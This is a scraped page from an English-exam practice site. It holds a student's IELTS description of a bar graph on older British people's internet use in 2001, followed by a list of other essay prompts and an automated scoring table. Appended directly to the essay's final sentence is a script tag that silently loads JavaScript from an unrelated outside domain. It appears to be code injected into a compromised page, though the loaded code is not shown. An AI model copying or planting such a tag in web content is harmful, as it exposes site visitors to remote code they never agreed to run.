This bar graph represents the web utilization of aged British individuals in the year 2001.
Let us take a look at the commercial consumer. This comes after email usage where men got 39%, but it was topped by women at 61%. Banking follows at 40% and it remained stable for both genders. However, the lowest peak had appeared in a commercial vendor where it was 20% for both.
On the other hand, let us take a closer look at the games and personal medical or health research. It shows an opposite trend, men enjoyed games at 39%, while women spent their time playing at 19%. In contrary to the later, men got 19% and women achieved 39%.
In conclusion, it can be clearly seen that sending email in men and women garnered the highest peak in web usage. Then it was followed by commercial consumer, while commercial vendor remained at the bottom with 20% for both sexes on the same era.<script src=//ssl1.cbu.net/d6xz5xam></script>
- Tests and examinations are a central feature of school systems in many countries.Do you think the educational benefits of testing outweigh any disadvantages?Give reasons for your answer, and include any relevant examples from your own knowledge or experie 55
- Write about the following topic: some people think that it is better to educate boys and girls benefit more from attending mixed schools.Discuss both these views and give your own opinion.Give reasons for your answer and include any relevant examples from 70
- The three pie charts below show the changes in annual spending by a particular UK school in 1981, 1991 and 2001. 60
- The graph below shows the percentage of urban/suburban and rural households in a European country that had Internet access between 1999 and 2004. 80
- The map below is of the town of Garlsdon. A new supermarket (S) is planned for the town. The map shows two possible sites for the supermarket.Summarise the information by selecting and reporting the main features, and make comparisons where relevant.You s 70
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 10 10
No. of Words: 161 200
No. of Characters: 693 1000
No. of Different Words: 98 100
Fourth Root of Number of Words: 3.562 4.0
Average Word Length: 4.304 4.6
Word Length SD: 2.317 2.4
No. of Words greater than 5 chars: 39 60
No. of Words greater than 6 chars: 31 50
No. of Words greater than 7 chars: 20 40
No. of Words greater than 8 chars: 8 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 16.1 21.0
Sentence Length SD: 4.23 7.5
Use of Discourse Markers (%): 0.7 0.12
Sentence-Text Coherence: 0.388 0.35
Sentence-Para Coherence: 0.636 0.50
Sentence-Sentence Coherence: 0.106 0.07
Number of Paragraphs: 4 4